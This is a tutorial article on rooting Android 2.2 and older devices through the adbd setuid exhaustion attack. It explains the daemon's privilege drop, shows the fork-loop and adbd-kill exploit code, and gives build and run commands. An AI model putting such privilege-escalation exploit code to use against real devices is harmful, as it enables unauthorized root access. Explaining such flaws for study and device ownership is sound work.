Android Rooting for Programmers

Android Rooting for Programmers

  • Print
  • Email

You have an Android Device and you are familiar with Linux based operating systems. Maybe, you like SSH or telnet to communicate with the device; you want to setup your device as a router to connect home PC to the Internet. However, you will be surprised. Android has neither login screen nor possibility to gain privileged user access to the system to do these things. This is one of the Android security principles to isolate applications from the user, each other, and the system.

In this article, I will describe you how to gain root access on an Android device in spite of security. I will delve deeply into one of the Android rooting principles - theadbexhaustion attack, which is simpler to understand than a previousudevexploit. It is suitable for all Android-powered devices with the version 2.2 and lower.

Rooting principles
Overview
Exhaustion attack
Configuration & Build
Running
Useful links

Rooting principles

Overview

In three words, the main rooting idea is to get super user rights on a device shell. Like a standard Linux shell, it allows you to interact with the device by executing commands from the shell. The shell can be accessed via ADB (Android Debug Bridge) command tool. The main purposes of the ADB on Android-powered devices are debugging, helping to develop applications and also, in some cases, it is used for synchronization purposes (when syncing HTC Wildfire, it is required to turn on the USB Debugging). We will use the ADB tool for uploading and executing the exploit, working with rooted device via super user shell with full access to whole device file system, programs and services.

ADB includes three components:

  1. A client, which runs on your machine. Windows users can invoke it from the cmd and Linux users - from the shell;
  2. A server, which runs as a background process on your machine. It manages communication between the client and the daemon running on the Android-powered device;
  3. A daemon, which runs as a background process on the device.

We are interested only in the third component. The daemon runs on a device and communicates with a client through a server. When you issue theADBcommand like a shell, the daemon will create a shell instance on a device and redirect its output to the client. Obviously, the shell new instance created by the daemon inherits rights and environment from its parent. As the daemon runs with theAID_SHELLrights, the shell new instance and all processes created by the shell will have the same access rights. Hence, to get super user rights in the shell, we just need the daemon to be running with these rights.

To understand why theADBdaemon has theADT_SHELLuser space, we will consider how it is started up and look at its initialization script.

The first user land process started after the Android device booting is the init process. After initialization and starting of internal services like property service,ueventdservice etc., it begins parsing the init.rc configuration script. The ADB daemon is mentioned in the script as the service and it is started by theinitservice on the boot if the USB Debugging is enabled.

Let’s look at the ADB daemon initialization source code. The main daemon entry point, where it starts its execution, isadb_main.I skipped non significant pieces of code to focus your attention on the daemon security.

 
  
  
  
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    intadb_main(intis_daemon,intserver_port)
{
...
    intsecure = 0;
...
   /* run adbd in secure mode if ro.secure is set and
    ** we are not in the emulator
    */
    property_get("ro.kernel.qemu", value,"");
    if(strcmp(value,"1") != 0) {
        property_get("ro.secure", value,"");
        if(strcmp(value,"1") == 0) {
            // don't run as root if ro.secure is set...
            secure = 1;
        }
    }
 
    /* don't listen on a port (default 5037) if running in secure mode */
    /* don't run as root if we are running in secure mode */
    if(secure) {
...
        /* then switch user and group to "shell" */
        setgid(AID_SHELL);
        setuid(AID_SHELL);
...
 
    return0;
}

So, what we see here. When the ADB daemon is starting, it has super user rights, like the init process has. However, the daemon reads some properties from the system and decides to setsecureflag or not. Usually, if the device is not a development device and it is not an emulator, the properties have such values:

ro.kernel.qemu – "0"   // is running on the emulator
ro.secure – "1"        // is running in the secure mode

After properties are checked, the secure flag is set to true, and we hit to such code section:

 
  
  
  
  
1
2
3
4
5
6
    if(secure) {
...
        /* then switch user and group to "shell" */
        setgid(AID_SHELL);
        setuid(AID_SHELL);
...

Starting from this point, the daemon continues its execution with theAID_SHELLuser id as it drops root privileges. All processes, started by theADBdaemon, likesh, will inherit its rights and will work in very limited environment. It is really sad, isn’t it?

{pub}The complete article text is available only for the registered users. Please Log In or Register. {/pub}

{reg}

Exhaustion attack

The main rooting principle of the exploit described in this article is thesetuidexhaustion attack. Thesetuidfunction changes the user id for a process only in case if there are resources available, otherwise it fails and the process remains with that user id, with which it was started. Let’s look at the resources that can be limited by the Linux operating system. We are interested only in theRLIMIT_NPROCresource. This resource limits maximum numbers of processes that can be created with the same user id. If you have reached the limit, you can’t create more processes with this user id. Thesetuidfunction doesn’t create processes, but it follows this rule. Once, theNPROClimit for theAID_SHELLuser is reached,setuidfails and the process continues its execution with the user id set before thesetuidcall. It means, when theADBdaemon starts with theAID_ROOTuser id and tries to change it forAID_SHELL, for whichNPROCis reached,setuidfails and the daemon user id remainsAID_ROOT.

It is easy enough, isn’t it?

In files attached to the article, you can find the binary file and sources. They implement theadbexhaustion attack explained above. The rooting process is easy for a user and I will describe how to use it below, but now, I will go into detail about the attack implementation. I will touch upon the source code structure and go into detail about a few important points.

Let’s look at theroot()function in the impl.cpp file. It implements the main logic of the exploit.

 
  
  
  
  
1
2
3
4
5
6
7
8
...
       rlimit s_rlimit = { 0 };
       getrlimit( RLIMIT_NPROC, &s_rlimit );
 
       printf("RLIMIT_NPROC: %d.%d\n", s_rlimit.rlim_cur, s_rlimit.rlim_max );
 
       pid_t adbdPid( get_pid( g_adbd_name ) );
...

At the beginning, after it gets and prints theNPROClimits, it runs the ADB daemon PID and saves it into a variable. It will be used later to kill original process. Next, look at the fork loop:

 
  
  
  
  
1
2
3
4
5
6
7
8
9
10
11
12
   pid_t pid( -1 );
 
   for(inti( 0 ); ; ++i )
   {
      pid = fork();
 
      if( pid == 0 )
      {
         returnret;
      }
 
...

The code above represents an infinite loop. It forks calling process and exits from a child. That is enough becausePID, allocated for current user, remains active until the parent process exits. The loop works until the fork function returns negative value. It means that we have reached theNPROClimit. Let’s look at the next code piece. ThePIDis negative, but we have to remember that there is one more shell user process that will be terminated soon. This process is theADBdaemon that is still running. We couldn’t kill it on start because the init process would start it again and it is an advantage for us. So, as soon as we reach that condition, we read the ADB daemon PID and check if its user id isAID_SHELLorAID_ROOT(because we could reach the condition from the second or third iteration).If it isAID_SHELL, the program just sendsSIGKILLto it and continues the loop (soon, we will reach it again). Once the daemon is killed, one morePIDfor this user is freed. We have to allocate thisPIDfor theAID_SHELLuser as soon as possible to prevent the daemon setting its user id asAID_SHELL. Ideally, there will be two additional loops: the first one forks and allocates a newPIDfor theAID_SHELLuser and, as the result, the second one reaches the limit again, checks the daemonPIDthat should beAID_ROOTand exits. However, because of lack of resources or lots of delays, there could be rather more iterations.

 
  
  
  
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
      elseif( pid < 0 )
      {
         printf("limit reached. kill adbd and wait for its root ...\n");
 
         adbdPid = get_pid( g_adbd_name );
 
         if( adbdPid >=0 )
         {
            if( get_pid_user( adbdPid ) != 0 )
            {
               kill( adbdPid, SIGKILL );
            }
            else
            {
               break;
            }
         }
...

To prevent the exploit infinite loop in case if it is impossible to start theADBdaemon as root, there is a respawn guard for each forked child. Ten iterations and one second timeout have been chosen empirically when I was working with several devices and I found that some devices had a too bigNPROClimit. It is obvious. They enquire too much processor resources to handle all created child processes. So, you may change the guard to fit your requirements or device.

 
  
  
  
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
         else
         {
            staticinttheRespounGuard( 10 );
 
            if( --theRespounGuard )
            {
               sleep( 1 );
            }
            else
            {
               break;
            }
  }
...

Configuration & Build

The exploit was configured to be built with theNDKtoolset both on Linux, and on the Windows platform. If you are working on Linux, it will be enough for you to downloadNDKonly; however, on the Windows platform, you have to download and install theCygwinenvironment on your machine. In this paragraph, I will tell you how to configure and build the exploit on the Windows platform.

First of all, download and install the Android SDK. We need only a platform-tools package from the SDK to communicate with a device through ADB, so, at the SDK root directory, start the SDK Manager and check the platform-tools package. Install it.

Android Rooting for Programmers_第1张图片

You can add a path to platform-tools into yourPATHvariable or type the absolute path to the adb.exe executable any time later.

The second step is to download and install the Android NDK package and theCygwinenvironment. Install them in the same location with SDK and add a path to your NDK package into thePATHvariable or into yourCygwin.bash_profile. Then unpack a project archive attached to this article into your working directory available forCygwin.

The project structure is very simple. In the AndroidExploit root, you will find two directories. In the bin directory, I have placed a precompiled exploit binary and a windows shell script file. The jni directory contains sources and the NDK build scripts.

/AndroidExploit
   /bin
      exploit           // precompiled binary file
      root.cmd          // windows shell script. It helps to upload and run
                        // the exploit in device. Usualy, it is enough run
                        // the script to root device.
   /jni
      Android.mk        // NDK build script
      Application.mk    // some application settings
      
      // the source files
      cmdLine.cpp
      cmdLine.h
      impl.cpp
      impl.h
      main.cpp
      proc.cpp
      proc.h

To build the project, run theCygwinenvironment, change a directory to the project/jni directory, and execute ndk-build. The Compiler output should look like this:

Android Rooting for Programmers_第2张图片

You can find an executable at libs/armeabi/exploit. The path is relative to the root of the project.

Running

The next paragraph describes how to use the binary file. You download the Android SDK, install platform-tools and make them available from thePATHvariable. At first, enable the USB Debugging on your device. For this, from the main screen, go to Settings -> Applications -> Development and check the USB Debugging option, then connect your device to the PC and check that it has been detected by Windows Device Manager. Otherwise, install the Android USB drivers for your device from the manufacturer site.

Type the adb devices command in the command line. It will show you devices connected to your PC. If there are no devices connected, check that Windows Device Manager and Android USB drivers are installed.

We are on the right way! Let’s go to the device. Type theadb shellcommand, which will start the device shell, and then check your id to see who you are.

As it was expected, you are a shell user that has no privileges, no access, nothing … The only things you can do are installing programs and listing some directories. In other words, you can perform only permitted actions. I was very surprised when I couldn’t read /data/data directory, it was impossible for me to list it and see what programs were installed on my device.

Break the law. Go to the exploit bin directory and typeadb push exploit /data/local/tmp. This command will upload the exploit in the device temporary directory available for the user. Then, typeadb shelland change the directory to /data/local/tmp. Thels –lcommand will show you its content and permissions on recently uploaded files. Make the file executable by executingchmod exploit 776and run it by./exploit root.

Android Rooting for Programmers_第3张图片

The output shows NPROC and ADB daemon PID. Then, as soon as RLIMIT is reached, the shell will be disconnected. Wait for ~5 seconds and typeadb shellagain. As a result, you should see root#shell. Typeidto make sure you are a root.

Android Rooting for Programmers_第4张图片

Yes, you are! Now, you can do anything even… let me think … even damage your device! So, all things you will do next are at your risk. Be careful!


One more, I want to add. The exploit works only on Android devices with versions 2.2 and older. Newer Android versions have been fixed here.

Useful links

The Android SDK – android SDK main page;
The Android NDK – android NDK main page;
The Cygwin – installation page;
z4root – z4root project’s page on code.google.com. The most popular root exploit with GUI;
z4root on XDA developers – main discussion thread

Download Sources (ZIP, 7KB)

你可能感兴趣的:(Android Rooting for Programmers)